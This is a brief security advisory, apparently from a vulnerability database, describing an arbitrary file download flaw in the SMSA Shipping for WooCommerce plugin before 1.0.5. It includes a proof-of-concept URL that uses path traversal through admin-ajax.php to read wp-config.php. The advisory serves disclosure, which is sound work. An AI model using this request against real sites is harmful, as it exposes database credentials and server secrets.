SMSA Shipping for WooCommerce < 1.0.5 - Subscriber+ Arbitrary File Download

The plugin does not have authorisation and proper CSRF checks, as well as does not validate the file to be downloaded, allowing any authenticated users, such as subscriber to download arbitrary file from the server

PoC

Open the following URL when being logged in as any user https://example.com/wp-admin/admin-ajax.php?action=ced_smsa_get_pfd_download&amp;filename;=../../../../wp-config.php